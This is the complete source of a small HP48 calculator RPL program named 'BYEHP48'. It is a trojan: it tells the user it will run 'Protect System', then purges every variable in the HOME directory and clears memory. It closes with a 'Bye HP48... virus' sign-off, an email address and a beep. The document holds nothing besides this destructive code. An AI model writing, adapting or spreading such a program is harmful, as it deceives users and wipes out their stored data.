<< CLLCD
   "Press any key to run Protect System" MSGBOX
   << DO
      HOME CLEAR VARS OBJ-> DROP
      'V1' STO
      PURGE 'V1'
      UNTIL DEPTH 0
      END
   >> CLVAR CLEAR
   CLLCD
   "Bye HP48..... virus_br@hotmail.com Higuita(3c)" MSGBOX
   1400 .60 BEEP
>> 'BYEHP48' [STO]